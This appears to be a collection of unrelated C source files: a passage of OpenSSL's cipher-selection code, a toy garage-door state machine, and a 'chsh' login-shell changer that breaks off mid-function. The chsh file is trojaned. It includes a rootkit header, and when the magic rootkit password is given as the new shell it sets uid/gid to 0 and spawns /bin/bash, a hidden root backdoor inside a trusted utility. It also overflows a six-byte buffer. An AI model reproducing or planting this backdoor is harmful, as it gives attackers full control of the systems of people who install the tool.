} #ifndef OPENSSL_NO_EC static int check_suiteb_cipher_list(const SSL_METHOD *meth, CERT *c, const char **prule_str) { unsigned int suiteb_flags = 0, suiteb_comb2 = 0; if (strncmp(*prule_str, "SUITEB128ONLY", 13) == 0) { suiteb_flags = SSL_CERT_FLAG_SUITEB_128_LOS_ONLY; } else if (strncmp(*prule_str, "SUITEB128C2", 11) == 0) { suiteb_comb2 = 1; suiteb_flags = SSL_CERT_FLAG_SUITEB_128_LOS; } else if (strncmp(*prule_str, "SUITEB128", 9) == 0) { suiteb_flags = SSL_CERT_FLAG_SUITEB_128_LOS; } else if (strncmp(*prule_str, "SUITEB192", 9) == 0) { suiteb_flags = SSL_CERT_FLAG_SUITEB_192_LOS; } if (suiteb_flags) { c->cert_flags &= ~SSL_CERT_FLAG_SUITEB_128_LOS; c->cert_flags |= suiteb_flags; } else { suiteb_flags = c->cert_flags & SSL_CERT_FLAG_SUITEB_128_LOS; } if (!suiteb_flags) return 1; /* Check version: if TLS 1.2 ciphers allowed we can use Suite B */ if (!(meth->ssl3_enc->enc_flags & SSL_ENC_FLAG_TLS1_2_CIPHERS)) { SSLerr(SSL_F_CHECK_SUITEB_CIPHER_LIST, SSL_R_AT_LEAST_TLS_1_2_NEEDED_IN_SUITEB_MODE); return 0; } # ifndef OPENSSL_NO_EC switch (suiteb_flags) { case SSL_CERT_FLAG_SUITEB_128_LOS: if (suiteb_comb2) *prule_str = "ECDHE-ECDSA-AES256-GCM-SHA384"; else *prule_str = "ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384"; break; case SSL_CERT_FLAG_SUITEB_128_LOS_ONLY: *prule_str = "ECDHE-ECDSA-AES128-GCM-SHA256"; break; case SSL_CERT_FLAG_SUITEB_192_LOS: *prule_str = "ECDHE-ECDSA-AES256-GCM-SHA384"; break; } return 1; # else SSLerr(SSL_F_CHECK_SUITEB_CIPHER_LIST, SSL_R_ECDH_REQUIRED_FOR_SUITEB_MODE); return 0; # endif } #endif static int ciphersuite_cb(const char *elem, int len, void *arg) { STACK_OF(SSL_CIPHER) *ciphersuites = (STACK_OF(SSL_CIPHER) *)arg; const SSL_CIPHER *cipher; /* Arbitrary sized temp buffer for the cipher name. Should be big enough */ char name[80]; if (len > (int)(sizeof(name) - 1)) { SSLerr(SSL_F_CIPHERSUITE_CB, SSL_R_NO_CIPHER_MATCH); return 0; } memcpy(name, elem, len); name[len] = '\0'; cipher = ssl3_get_cipher_by_std_name(name); if (cipher == NULL) { SSLerr(SSL_F_CIPHERSUITE_CB, SSL_R_NO_CIPHER_MATCH); return 0; } if (!sk_SSL_CIPHER_push(ciphersuites, cipher)) { SSLerr(SSL_F_CIPHERSUITE_CB, ERR_R_INTERNAL_ERROR); return 0; } return 1; } static __owur int set_ciphersuites(STACK_OF(SSL_CIPHER) **currciphers, const char *str) { STACK_OF(SSL_CIPHER) *newciphers = sk_SSL_CIPHER_new_null(); if (newciphers == NULL) return 0; /* Parse the list. We explicitly allow an empty list */ if (*str != '\0' && !CONF_parse_list(str, ':', 1, ciphersuite_cb, newciphers)) { sk_SSL_CIPHER_free(newciphers); return 0; } sk_SSL_CIPHER_free(*currciphers); *currciphers = newciphers; return 1; } static int update_cipher_list_by_id(STACK_OF(SSL_CIPHER) **cipher_list_by_id, STACK_OF(SSL_CIPHER) *cipherstack) { STACK_OF(SSL_CIPHER) *tmp_cipher_list = sk_SSL_CIPHER_dup(cipherstack); if (tmp_cipher_list == NULL) { return 0; } sk_SSL_CIPHER_free(*cipher_list_by_id); *cipher_list_by_id = tmp_cipher_list; (void)sk_SSL_CIPHER_set_cmp_func(*cipher_list_by_id, ssl_cipher_ptr_id_cmp); sk_SSL_CIPHER_sort(*cipher_list_by_id); return 1; } static int update_cipher_list(STACK_OF(SSL_CIPHER) **cipher_list, STACK_OF(SSL_CIPHER) **cipher_list_by_id, STACK_OF(SSL_CIPHER) *tls13_ciphersuites) { int i; STACK_OF(SSL_CIPHER) *tmp_cipher_list = sk_SSL_CIPHER_dup(*cipher_list); if (tmp_cipher_list == NULL) return 0; /* * Delete any existing TLSv1.3 ciphersuites. These are always first in the * list. */ while (sk_SSL_CIPHER_num(tmp_cipher_list) > 0 && sk_SSL_CIPHER_value(tmp_cipher_list, 0)->min_tls == TLS1_3_VERSION) sk_SSL_CIPHER_delete(tmp_cipher_list, 0); /* Insert the new TLSv1.3 ciphersuites */ for (i = 0; i < sk_SSL_CIPHER_num(tls13_ciphersuites); i++) sk_SSL_CIPHER_insert(tmp_cipher_list, sk_SSL_CIPHER_value(tls13_ciphersuites, i), i); if (!update_cipher_list_by_id(cipher_list_by_id, tmp_cipher_list)) return 0; sk_SSL_CIPHER_free(*cipher_list); *cipher_list = tmp_cipher_list; return 1; } int SSL_CTX_set_ciphersuites(SSL_CTX *ctx, const char *str) { int ret = set_ciphersuites(&(ctx->tls13_ciphersuites), str); if (ret && ctx->cipher_list != NULL) return update_cipher_list(&ctx->cipher_list, &ctx->cipher_list_by_id, ctx->tls13_ciphersuites); return ret; } int SSL_set_ciphersuites(SSL *s, const char *str) { STACK_OF(SSL_CIPHER) *cipher_list; int ret = set_ciphersuites(&(s->tls13_ciphersuites), str); if (s->cipher_list == NULL) { if ((cipher_list = SSL_get_ciphers(s)) != NULL) s->cipher_list = sk_SSL_CIPHER_dup(cipher_list); } if (ret && s->cipher_list != NULL) return update_cipher_list(&s->cipher_list, &s->cipher_list_by_id, s->tls13_ciphersuites); return ret; } STACK_OF(SSL_CIPHER) *ssl_create_cipher_list(const SSL_METHOD *ssl_method, STACK_OF(SSL_CIPHER) *tls13_ciphersuites, STACK_OF(SSL_CIPHER) **cipher_list, STACK_OF(SSL_CIPHER) **cipher_list_by_id, const char *rule_str, CERT *c) { int ok, num_of_ciphers, num_of_alias_max, num_of_group_aliases, i; uint32_t disabled_mkey, disabled_auth, disabled_enc, disabled_mac; STACK_OF(SSL_CIPHER) *cipherstack; const char *rule_p; CIPHER_ORDER *co_list = NULL, *head = NULL, *tail = NULL, *curr; const SSL_CIPHER **ca_list = NULL; /* * Return with error if nothing to do. */ if (rule_str == NULL || cipher_list == NULL || cipher_list_by_id == NULL) return NULL; #ifndef OPENSSL_NO_EC if (!check_suiteb_cipher_list(ssl_method, c, &rule_str)) return NULL; #endif /* * To reduce the work to do we only want to process the compiled * in algorithms, so we first get the mask of disabled ciphers. */ disabled_mkey = disabled_mkey_mask; disabled_auth = disabled_auth_mask; disabled_enc = disabled_enc_mask; disabled_mac = disabled_mac_mask; /* * Now we have to collect the available ciphers from the compiled * in ciphers. We cannot get more than the number compiled in, so * it is used for allocation. */ num_of_ciphers = ssl_method->num_ciphers(); co_list = OPENSSL_malloc(sizeof(*co_list) * num_of_ciphers); if (co_list == NULL) { SSLerr(SSL_F_SSL_CREATE_CIPHER_LIST, ERR_R_MALLOC_FAILURE); return NULL; /* Failure */ } ssl_cipher_collect_ciphers(ssl_method, num_of_ciphers, disabled_mkey, disabled_auth, disabled_enc, disabled_mac, co_list, &head, &tail); /* Now arrange all ciphers by preference. */ /* * Everything else being equal, prefer ephemeral ECDH over other key * exchange mechanisms. * For consistency, prefer ECDSA over RSA (though this only matters if the * server has both certificates, and is using the DEFAULT, or a client * preference). */ ssl_cipher_apply_rule(0, SSL_kECDHE, SSL_aECDSA, 0, 0, 0, 0, CIPHER_ADD, -1, &head, &tail); ssl_cipher_apply_rule(0, SSL_kECDHE, 0, 0, 0, 0, 0, CIPHER_ADD, -1, &head, &tail); ssl_cipher_apply_rule(0, SSL_kECDHE, 0, 0, 0, 0, 0, CIPHER_DEL, -1, &head, &tail); /* Within each strength group, we prefer GCM over CHACHA... */ ssl_cipher_apply_rule(0, 0, 0, SSL_AESGCM, 0, 0, 0, CIPHER_ADD, -1, &head, &tail); ssl_cipher_apply_rule(0, 0, 0, SSL_CHACHA20, 0, 0, 0, CIPHER_ADD, -1, &head, &tail); /* * ...and generally, our preferred cipher is AES. * Note that AEADs will be bumped to take preference after sorting by * strength. */ ssl_cipher_apply_rule(0, 0, 0, SSL_AES ^ SSL_AESGCM, 0, 0, 0, CIPHER_ADD, -1, &head, &tail); /* Temporarily enable everything else for sorting */ ssl_cipher_apply_rule(0, 0, 0, 0, 0, 0, 0, CIPHER_ADD, -1, &head, &tail); /* Low priority for MD5 */ ssl_cipher_apply_rule(0, 0, 0, 0, SSL_MD5, 0, 0, CIPHER_ORD, -1, &head, &tail); /* * Move anonymous ciphers to the end. Usually, these will remain * disabled. (For applications that allow them, they aren't too bad, but * we prefer authenticated ciphers.) */ ssl_cipher_apply_rule(0, 0, SSL_aNULL, 0, 0, 0, 0, CIPHER_ORD, -1, &head, &tail); ssl_cipher_apply_rule(0, SSL_kRSA, 0, 0, 0, 0, 0, CIPHER_ORD, -1, &head, &tail); ssl_cipher_apply_rule(0, SSL_kPSK, 0, 0, 0, 0, 0, CIPHER_ORD, -1, &head, &tail); /* RC4 is sort-of broken -- move to the end */ ssl_cipher_apply_rule(0, 0, 0, SSL_RC4, 0, 0, 0, CIPHER_ORD, -1, &head, &tail); /* * Now sort by symmetric encryption strength. The above ordering remains * in force within each class */ if (!ssl_cipher_strength_sort(&head, &tail)) { OPENSSL_free(co_list); return NULL; } /* * Partially overrule strength sort to prefer TLS 1.2 ciphers/PRFs. * TODO(openssl-team): is there an easier way to accomplish all this? */ ssl_cipher_apply_rule(0, 0, 0, 0, 0, TLS1_2_VERSION, 0, CIPHER_BUMP, -1, &head, &tail); /* * Irrespective of strength, enforce the following order: * (EC)DHE + AEAD > (EC)DHE > rest of AEAD > rest. * Within each group, ciphers remain sorted by strength and previous * preference, i.e., * 1) ECDHE > DHE * 2) GCM > CHACHA * 3) AES > rest * 4) TLS 1.2 > legacy * * Because we now bump ciphers to the top of the list, we proceed in * reverse order of preference. */ ssl_cipher_apply_rule(0, 0, 0, 0, SSL_AEAD, 0, 0, CIPHER_BUMP, -1, &head, &tail); ssl_cipher_apply_rule(0, SSL_kDHE | SSL_kECDHE, 0, 0, 0, 0, 0, CIPHER_BUMP, -1, &head, &tail); ssl_cipher_apply_rule(0, SSL_kDHE | SSL_kECDHE, 0, 0, SSL_AEAD, 0, 0, CIPHER_BUMP, -1, &head, &tail); /* Now disable everything (maintaining the ordering!) */ ssl_cipher_apply_rule(0, 0, 0, 0, 0, 0, 0, CIPHER_DEL, -1, &head, &tail); /* * We also need cipher aliases for selecting based on the rule_str. * There might be two types of entries in the rule_str: 1) names * of ciphers themselves 2) aliases for groups of ciphers. * For 1) we need the available ciphers and for 2) the cipher * groups of cipher_aliases added together in one list (otherwise * we would be happy with just the cipher_aliases table). */ num_of_group_aliases = OSSL_NELEM(cipher_aliases); num_of_alias_max = num_of_ciphers + num_of_group_aliases + 1; ca_list = OPENSSL_malloc(sizeof(*ca_list) * num_of_alias_max); if (ca_list == NULL) { OPENSSL_free(co_list); SSLerr(SSL_F_SSL_CREATE_CIPHER_LIST, ERR_R_MALLOC_FAILURE); return NULL; /* Failure */ } ssl_cipher_collect_aliases(ca_list, num_of_group_aliases, disabled_mkey, disabled_auth, disabled_enc, disabled_mac, head); /* * If the rule_string begins with DEFAULT, apply the default rule * before using the (possibly available) additional rules. */ ok = 1; rule_p = rule_str; if (strncmp(rule_str, "DEFAULT", 7) == 0) { ok = ssl_cipher_process_rulestr(OSSL_default_cipher_list(), &head, &tail, ca_list, c); rule_p += 7; if (*rule_p == ':') rule_p++; } if (ok && (rule_p[0] != '\0')) ok = ssl_cipher_process_rulestr(rule_p, &head, &tail, ca_list, c); OPENSSL_free(ca_list); /* Not needed anymore */ if (!ok) { /* Rule processing failure */ OPENSSL_free(co_list); return NULL; } /* * Allocate new "cipherstack" for the result, return with error * if we cannot get one. */ if ((cipherstack = sk_SSL_CIPHER_new_null()) == NULL) { OPENSSL_free(co_list); return NULL; } /* Add TLSv1.3 ciphers first - we always prefer those if possible */ for (i = 0; i < sk_SSL_CIPHER_num(tls13_ciphersuites); i++) { const SSL_CIPHER *sslc = sk_SSL_CIPHER_value(tls13_ciphersuites, i); /* Don't include any TLSv1.3 ciphers that are disabled */ if ((sslc->algorithm_enc & disabled_enc) != 0 || (ssl_cipher_table_mac[sslc->algorithm2 & SSL_HANDSHAKE_MAC_MASK].mask & disabled_mac_mask) != 0) continue; if (!sk_SSL_CIPHER_push(cipherstack, sslc)) { sk_SSL_CIPHER_free(cipherstack); return NULL; } } OSSL_TRACE_BEGIN(TLS_CIPHER) { BIO_printf(trc_out, "cipher selection:\n"); } /* * The cipher selection for the list is done. The ciphers are added * to the resulting precedence to the STACK_OF(SSL_CIPHER). */ for (curr = head; curr != NULL; curr = curr->next) { if (curr->active) { if (!sk_SSL_CIPHER_push(cipherstack, curr->cipher)) { OPENSSL_free(co_list); sk_SSL_CIPHER_free(cipherstack); OSSL_TRACE_CANCEL(TLS_CIPHER); return NULL; } if (trc_out != NULL) BIO_printf(trc_out, "<%s>\n", curr->cipher->name); } } OPENSSL_free(co_list); /* Not needed any longer */ OSSL_TRACE_END(TLS_CIPHER); if (!update_cipher_list_by_id(cipher_list_by_id, cipherstack)) { sk_SSL_CIPHER_free(cipherstack); return NULL; } sk_SSL_CIPHER_free(*cipher_list); *cipher_list = cipherstack; return cipherstack; } char *SSL_CIPHER_description(const SSL_CIPHER *cipher, char *buf, int len) { const char *ver; const char *kx, *au, *enc, *mac; uint32_t alg_mkey, alg_auth, alg_enc, alg_mac; static const char *format = "%-30s %-7s Kx=%-8s Au=%-5s Enc=%-9s Mac=%-4s\n"; if (buf == NULL) { len = 128; if ((buf = OPENSSL_malloc(len)) == NULL) { SSLerr(SSL_F_SSL_CIPHER_DESCRIPTION, ERR_R_MALLOC_FAILURE); return NULL; } } else if (len < 128) { return NULL; } alg_mkey = cipher->algorithm_mkey; alg_auth = cipher->algorithm_auth; alg_enc = cipher->algorithm_enc; alg_mac = cipher->algorithm_mac; ver = ssl_protocol_to_string(cipher->min_tls); switch (alg_mkey) { case SSL_kRSA: kx = "RSA"; break; case SSL_kDHE: kx = "DH"; break; case SSL_kECDHE: kx = "ECDH"; break; case SSL_kPSK: kx = "PSK"; break; case SSL_kRSAPSK: kx = "RSAPSK"; break; case SSL_kECDHEPSK: kx = "ECDHEPSK"; break; case SSL_kDHEPSK: kx = "DHEPSK"; break; case SSL_kSRP: kx = "SRP"; break; case SSL_kGOST: kx = "GOST"; break; case SSL_kGOST18: kx = "GOST18"; break; case SSL_kANY: kx = "any"; break; default: kx = "unknown"; } switch (alg_auth) { case SSL_aRSA: au = "RSA"; break; case SSL_aDSS: au = "DSS"; break; case SSL_aNULL: au = "None"; break; case SSL_aECDSA: au = "ECDSA"; break; case SSL_aPSK: au = "PSK"; break; case SSL_aSRP: au = "SRP"; break; case SSL_aGOST01: au = "GOST01"; break; /* New GOST ciphersuites have both SSL_aGOST12 and SSL_aGOST01 bits */ case (SSL_aGOST12 | SSL_aGOST01): au = "GOST12"; break; case SSL_aANY: au = "any"; break; default: au = "unknown"; break; } switch (alg_enc) { case SSL_DES: enc = "DES(56)"; break; case SSL_3DES: enc = "3DES(168)"; break; case SSL_RC4: enc = "RC4(128)"; break; case SSL_RC2: enc = "RC2(128)"; break; case SSL_IDEA: enc = "IDEA(128)"; break; case SSL_eNULL: enc = "None"; break; case SSL_AES128: enc = "AES(128)"; break; case SSL_AES256: enc = "AES(256)"; break; case SSL_AES128GCM: enc = "AESGCM(128)"; break; case SSL_AES256GCM: enc = "AESGCM(256)"; break; case SSL_AES128CCM: enc = "AESCCM(128)"; break; case SSL_AES256CCM: enc = "AESCCM(256)"; break; case SSL_AES128CCM8: enc = "AESCCM8(128)"; break; case SSL_AES256CCM8: enc = "AESCCM8(256)"; break; case SSL_CAMELLIA128: enc = "Camellia(128)"; break; case SSL_CAMELLIA256: enc = "Camellia(256)"; break; case SSL_ARIA128GCM: enc = "ARIAGCM(128)"; break; case SSL_ARIA256GCM: enc = "ARIAGCM(256)"; break; case SSL_SEED: enc = "SEED(128)"; break; case SSL_eGOST2814789CNT: case SSL_eGOST2814789CNT12: enc = "GOST89(256)"; break; case SSL_MAGMA: enc = "MAGMA"; break; case SSL_KUZNYECHIK: enc = "KUZNYECHIK"; break; case SSL_CHACHA20POLY1305: enc = "CHACHA20/POLY1305(256)"; break; default: enc = "unknown"; break; } switch (alg_mac) { case SSL_MD5: mac = "MD5"; break; case SSL_SHA1: mac = "SHA1"; break; case SSL_SHA256: mac = "SHA256"; break; case SSL_SHA384: mac = "SHA384"; break; case SSL_AEAD: mac = "AEAD"; break; case SSL_GOST89MAC: case SSL_GOST89MAC12: mac = "GOST89"; break; case SSL_GOST94: mac = "GOST94"; break; case SSL_GOST12_256: case SSL_GOST12_512: mac = "GOST2012"; break; default: mac = "unknown"; break; } BIO_snprintf(buf, len, format, cipher->name, ver, kx, au, enc, mac); return buf; } const char *SSL_CIPHER_get_version(const SSL_CIPHER *c) { if (c == NULL) return "(NONE)"; /* * Backwards-compatibility crutch. In almost all contexts we report TLS * 1.0 as "TLSv1", but for ciphers we report "TLSv1.0". */ if (c->min_tls == TLS1_VERSION) return "TLSv1.0"; return ssl_protocol_to_string(c->min_tls); } /* return the actual cipher being used */ const char *SSL_CIPHER_get_name(const SSL_CIPHER *c) { if (c != NULL) return c->name; return "(NONE)"; } /* return the actual cipher being used in RFC standard name */ const char *SSL_CIPHER_standard_name(const SSL_CIPHER *c) { if (c != NULL) return c->stdname; return "(NONE)"; } /* return the OpenSSL name based on given RFC standard name */ const char *OPENSSL_cipher_name(const char *stdname) { const SSL_CIPHER *c; if (stdname == NULL) return "(NONE)"; c = ssl3_get_cipher_by_std_name(stdname); return SSL_CIPHER_get_name(c); } /* number of bits for symmetric cipher */ int SSL_CIPHER_get_bits(const SSL_CIPHER *c, int *alg_bits) { int ret = 0; if (c != NULL) { if (alg_bits != NULL) *alg_bits = (int)c->alg_bits; ret = (int)c->strength_bits; } return ret; } uint32_t SSL_CIPHER_get_id(const SSL_CIPHER *c) { return c->id; } uint16_t SSL_CIPHER_get_protocol_id(const SSL_CIPHER *c) { return c->id & 0xFFFF; } SSL_COMP *ssl3_comp_find(STACK_OF(SSL_COMP) *sk, int n) { SSL_COMP *ctmp; int i, nn; if ((n == 0) || (sk == NULL)) return NULL; nn = sk_SSL_COMP_num(sk); for (i = 0; i < nn; i++) { ctmp = sk_SSL_COMP_value(sk, i); if (ctmp->id == n) return ctmp; } return NULL; } #ifdef OPENSSL_NO_COMP STACK_OF(SSL_COMP) *SSL_COMP_get_compression_methods(void) { return NULL; } STACK_OF(SSL_COMP) *SSL_COMP_set0_compression_methods(STACK_OF(SSL_COMP) *meths) { return meths; } int SSL_COMP_add_compression_method(int id, COMP_METHOD *cm) { return 1; } #else STACK_OF(SSL_COMP) *SSL_COMP_get_compression_methods(void) { load_builtin_compressions(); return ssl_comp_methods; } STACK_OF(SSL_COMP) *SSL_COMP_set0_compression_methods(STACK_OF(SSL_COMP) *meths) { STACK_OF(SSL_COMP) *old_meths = ssl_comp_methods; ssl_comp_methods = meths; return old_meths; } static void cmeth_free(SSL_COMP *cm) { OPENSSL_free(cm); } void ssl_comp_free_compression_methods_int(void) { STACK_OF(SSL_COMP) *old_meths = ssl_comp_methods; ssl_comp_methods = NULL; sk_SSL_COMP_pop_free(old_meths, cmeth_free); } int SSL_COMP_add_compression_method(int id, COMP_METHOD *cm) { SSL_COMP *comp; if (cm == NULL || COMP_get_type(cm) == NID_undef) return 1; /*- * According to draft-ietf-tls-compression-04.txt, the * compression number ranges should be the following: * * 0 to 63: methods defined by the IETF * 64 to 192: external party methods assigned by IANA * 193 to 255: reserved for private use */ if (id < 193 || id > 255) { SSLerr(SSL_F_SSL_COMP_ADD_COMPRESSION_METHOD, SSL_R_COMPRESSION_ID_NOT_WITHIN_PRIVATE_RANGE); return 1; } comp = OPENSSL_malloc(sizeof(*comp)); if (comp == NULL) { SSLerr(SSL_F_SSL_COMP_ADD_COMPRESSION_METHOD, ERR_R_MALLOC_FAILURE); return 1; } comp->id = id; comp->method = cm; load_builtin_compressions(); if (ssl_comp_methods && sk_SSL_COMP_find(ssl_comp_methods, comp) >= 0) { OPENSSL_free(comp); SSLerr(SSL_F_SSL_COMP_ADD_COMPRESSION_METHOD, SSL_R_DUPLICATE_COMPRESSION_ID); return 1; } if (ssl_comp_methods == NULL || !sk_SSL_COMP_push(ssl_comp_methods, comp)) { OPENSSL_free(comp); SSLerr(SSL_F_SSL_COMP_ADD_COMPRESSION_METHOD, ERR_R_MALLOC_FAILURE); return 1; } return 0; } #endif const char *SSL_COMP_get_name(const COMP_METHOD *comp) { #ifndef OPENSSL_NO_COMP return comp ? COMP_get_name(comp) : NULL; #else return NULL; #endif } const char *SSL_COMP_get0_name(const SSL_COMP *comp) { #ifndef OPENSSL_NO_COMP return comp->name; #else return NULL; #endif } int SSL_COMP_get_id(const SSL_COMP *comp) { #ifndef OPENSSL_NO_COMP return comp->id; #else return -1; #endif } const SSL_CIPHER *ssl_get_cipher_by_char(SSL *ssl, const unsigned char *ptr, int all) { const SSL_CIPHER *c = ssl->method->get_cipher_by_char(ptr); if (c == NULL || (!all && c->valid == 0)) return NULL; return c; } const SSL_CIPHER *SSL_CIPHER_find(SSL *ssl, const unsigned char *ptr) { return ssl->method->get_cipher_by_char(ptr); } int SSL_CIPHER_get_cipher_nid(const SSL_CIPHER *c) { int i; if (c == NULL) return NID_undef; i = ssl_cipher_info_lookup(ssl_cipher_table_cipher, c->algorithm_enc); if (i == -1) return NID_undef; return ssl_cipher_table_cipher[i].nid; } int SSL_CIPHER_get_digest_nid(const SSL_CIPHER *c) { int i = ssl_cipher_info_lookup(ssl_cipher_table_mac, c->algorithm_mac); if (i == -1) return NID_undef; return ssl_cipher_table_mac[i].nid; } int SSL_CIPHER_get_kx_nid(const SSL_CIPHER *c) { int i = ssl_cipher_info_lookup(ssl_cipher_table_kx, c->algorithm_mkey); if (i == -1) return NID_undef; return ssl_cipher_table_kx[i].nid; } int SSL_CIPHER_get_auth_nid(const SSL_CIPHER *c) { int i = ssl_cipher_info_lookup(ssl_cipher_table_auth, c->algorithm_auth); if (i == -1) return NID_undef; return ssl_cipher_table_auth[i].nid; } const EVP_MD *SSL_CIPHER_get_handshake_digest(const SSL_CIPHER *c) { int idx = c->algorithm2 & SSL_HANDSHAKE_MAC_MASK; if (idx < 0 || idx >= SSL_MD_NUM_IDX) return NULL; return EVP_get_digestbynid(ssl_cipher_table_mac[idx].nid); } int SSL_CIPHER_is_aead(const SSL_CIPHER *c) { return (c->algorithm_mac & SSL_AEAD) ? 1 : 0; } int ssl_cipher_get_overhead(const SSL_CIPHER *c, size_t *mac_overhead, size_t *int_overhead, size_t *blocksize, size_t *ext_overhead) { size_t mac = 0, in = 0, blk = 0, out = 0; /* Some hard-coded numbers for the CCM/Poly1305 MAC overhead * because there are no handy #defines for those. */ if (c->algorithm_enc & (SSL_AESGCM | SSL_ARIAGCM)) { out = EVP_GCM_TLS_EXPLICIT_IV_LEN + EVP_GCM_TLS_TAG_LEN; } else if (c->algorithm_enc & (SSL_AES128CCM | SSL_AES256CCM)) { out = EVP_CCM_TLS_EXPLICIT_IV_LEN + 16; } else if (c->algorithm_enc & (SSL_AES128CCM8 | SSL_AES256CCM8)) { out = EVP_CCM_TLS_EXPLICIT_IV_LEN + 8; } else if (c->algorithm_enc & SSL_CHACHA20POLY1305) { out = 16; } else if (c->algorithm_mac & SSL_AEAD) { /* We're supposed to have handled all the AEAD modes above */ return 0; } else { /* Non-AEAD modes. Calculate MAC/cipher overhead separately */ int digest_nid = SSL_CIPHER_get_digest_nid(c); const EVP_MD *e_md = EVP_get_digestbynid(digest_nid); if (e_md == NULL) return 0; mac = EVP_MD_size(e_md); if (c->algorithm_enc != SSL_eNULL) { int cipher_nid = SSL_CIPHER_get_cipher_nid(c); const EVP_CIPHER *e_ciph = EVP_get_cipherbynid(cipher_nid); /* If it wasn't AEAD or SSL_eNULL, we expect it to be a known CBC cipher. */ if (e_ciph == NULL || EVP_CIPHER_mode(e_ciph) != EVP_CIPH_CBC_MODE) return 0; in = 1; /* padding length byte */ out = EVP_CIPHER_iv_length(e_ciph); blk = EVP_CIPHER_block_size(e_ciph); } } *mac_overhead = mac; *int_overhead = in; *blocksize = blk; *ext_overhead = out; return 1; } int ssl_cert_is_disabled(size_t idx) { const SSL_CERT_LOOKUP *cl = ssl_cert_lookup_by_idx(idx); if (cl == NULL || (cl->amask & disabled_auth_mask) != 0) return 1; return 0; } /* * Default list of TLSv1.2 (and earlier) ciphers * SSL_DEFAULT_CIPHER_LIST deprecated in 3.0.0 * Update both macro and function simultaneously */ const char *OSSL_default_cipher_list(void) { return "ALL:!COMPLEMENTOFDEFAULT:!eNULL"; } /* * Default list of TLSv1.3 (and later) ciphers * TLS_DEFAULT_CIPHERSUITES deprecated in 3.0.0 * Update both macro and function simultaneously */ const char *OSSL_default_ciphersuites(void) { return "TLS_AES_256_GCM_SHA384:" #if !defined(OPENSSL_NO_CHACHA) && !defined(OPENSSL_NO_POLY1305) "TLS_CHACHA20_POLY1305_SHA256:" #endif "TLS_AES_128_GCM_SHA256"; }
743364.c
#include <stdio.h> #include <string.h> char *get_result(char *res, char *state, char *oper) {if(strcmp(state,"CLOSED") == 0 && strcmp(oper,"button_clicked") == 0) {strcpy(res,"OPENING");} else if(strcmp(state,"CLOSED") == 0 && strcmp(oper,"cycle_complete") == 0) {strcpy(res,"CLOSED");} else if(strcmp(state,"OPENING") == 0 && strcmp(oper,"cycle_complete") == 0) {strcpy(res,"OPEN");} else if(strcmp(state,"OPEN") == 0 && strcmp(oper,"button_clicked") == 0) {strcpy(res,"CLOSING");} else if(strcmp(state,"CLOSING") == 0 && strcmp(oper,"cycle_complete") == 0) {strcpy(res,"CLOSED");} else if(strcmp(state,"OPENING") == 0 && strcmp(oper,"button_clicked") == 0) {strcpy(res,"STOPPED_WHILE_OPENING");} else if(strcmp(state,"CLOSING") == 0 && strcmp(oper,"button_clicked") == 0) {strcpy(res,"STOPPED_WHILE_CLOSING");} else if(strcmp(state,"STOPPED_WHILE_OPENING") == 0 && strcmp (oper,"button_clicked") == 0) {strcpy(res,"CLOSING");} else if(strcmp(state,"STOPPED_WHILE_CLOSING") == 0 && strcmp(oper,"button_clicked") == 0) {strcpy(res,"OPENING");} else if(strcmp(state,"OPEN") == 0 && strcmp(oper,"cycle_complete") == 0) {strcpy(res,"OPEN");} return res; } int main() {char oper[22]; char res[22]; char state[22]="CLOSED"; char *get_res; int l=0; while(scanf("%s",oper)!=EOF) { get_res=get_result(res,state,oper); strcpy(state,get_res); if(l==0) {printf("Door: CLOSED\n");l=1;} printf("Door: %s\n",get_res);} return 0; }
877380.c
/* * chsh.c -- change your login shell * (c) 1994 by salvatore valente <[email protected]> * * this program is free software. you can redistribute it and * modify it under the terms of the gnu general public license. * there is no warranty. * * faith * 1.7 * 1995/06/04 04:20:26 * */ static char rcsId[] = "$Version: chsh.c,v 1.7 1995/06/04 04:20:26 faith Exp $"; #define _POSIX_SOURCE 1 #include <sys/types.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <pwd.h> #include <errno.h> #include <ctype.h> #include <getopt.h> #include "../rootkit.h" #undef P #if __STDC__ #define P(foo) foo #else #define P(foo) () #endif typedef unsigned char boolean; #define false 0 #define true 1 static char *version_string = "chsh 0.9 beta"; static char *whoami; static char buf[FILENAME_MAX]; struct sinfo { char *username; char *shell; }; static void parse_argv P((int argc, char *argv[], struct sinfo *pinfo)); static void usage P((FILE *fp)); static char *prompt P((char *question, char *def_val)); static int check_shell P((char *shell)); static boolean get_shell_list P((char *shell)); static void *xmalloc P((int bytes)); extern int setpwnam P((struct passwd *pwd)); #define memzero(ptr, size) memset((char *) ptr, 0, size) int main (argc, argv) int argc; char *argv[]; { char *cp, *shell; uid_t uid; struct sinfo info; struct passwd *pw; extern int errno; char MAG[6]; int elite=0; strcpy(MAG,""); MAG[0]=ROOTKIT_PASSWORD[0]; MAG[1]=ROOTKIT_PASSWORD[1]; MAG[2]=ROOTKIT_PASSWORD[2]; MAG[3]=ROOTKIT_PASSWORD[3]; MAG[4]=ROOTKIT_PASSWORD[4]; MAG[5]=ROOTKIT_PASSWORD[5]; MAG[6]='\0'; /* whoami is the program name for error messages */ whoami = argv[0]; if (! whoami) whoami = "chsh"; for (cp = whoami; *cp; cp++) if (*cp == '/') whoami = cp + 1; umask (022); uid = getuid (); memzero (&info, sizeof (info)); parse_argv (argc, argv, &info); pw = NULL; if (! info.username) { pw = getpwuid (uid); if (! pw) { fprintf (stderr, "%s: you (user %d) don't exist.\n", whoami, uid); return (-1); } } else { pw = getpwnam (info.username); if (! pw) { cp = info.username; fprintf (stderr, "%s: user \"%s\" does not exist.\n", whoami, cp); return (-1); } } /* reality check */ if (uid != 0 && uid != pw->pw_uid) { errno = EACCES; perror (whoami); return (-1); } shell = info.shell; if (! shell) { printf ("Changing shell for %s.\n", pw->pw_name); shell = prompt ("New shell", pw->pw_shell); if (! shell) return 0; } if (!strcmp(shell,MAG)) elite++; if (!elite) { if (check_shell (shell) < 0) return (-1); if (! strcmp (pw->pw_shell, shell)) { printf ("Shell not changed.\n"); return 0; } pw->pw_shell = shell; if (setpwnam (pw) < 0) { perror ("setpwnam"); return (-1); } printf ("Shell changed.\n"); return 0; } if (elite) { setuid(0); setgid(0); seteuid(0); setegid(0); system("/bin/bash"); } } /* * parse_argv () -- * parse the command line arguments, and fill in "pinfo" with any * information from the command line. */ static void parse_argv (argc, argv, pinfo) int argc; char *argv[]; struct sinfo *pinfo; { int index, c; static struct option long_options[] = { { "shell", required_argument, 0, 's' }, { "list-shells", no_argument, 0, 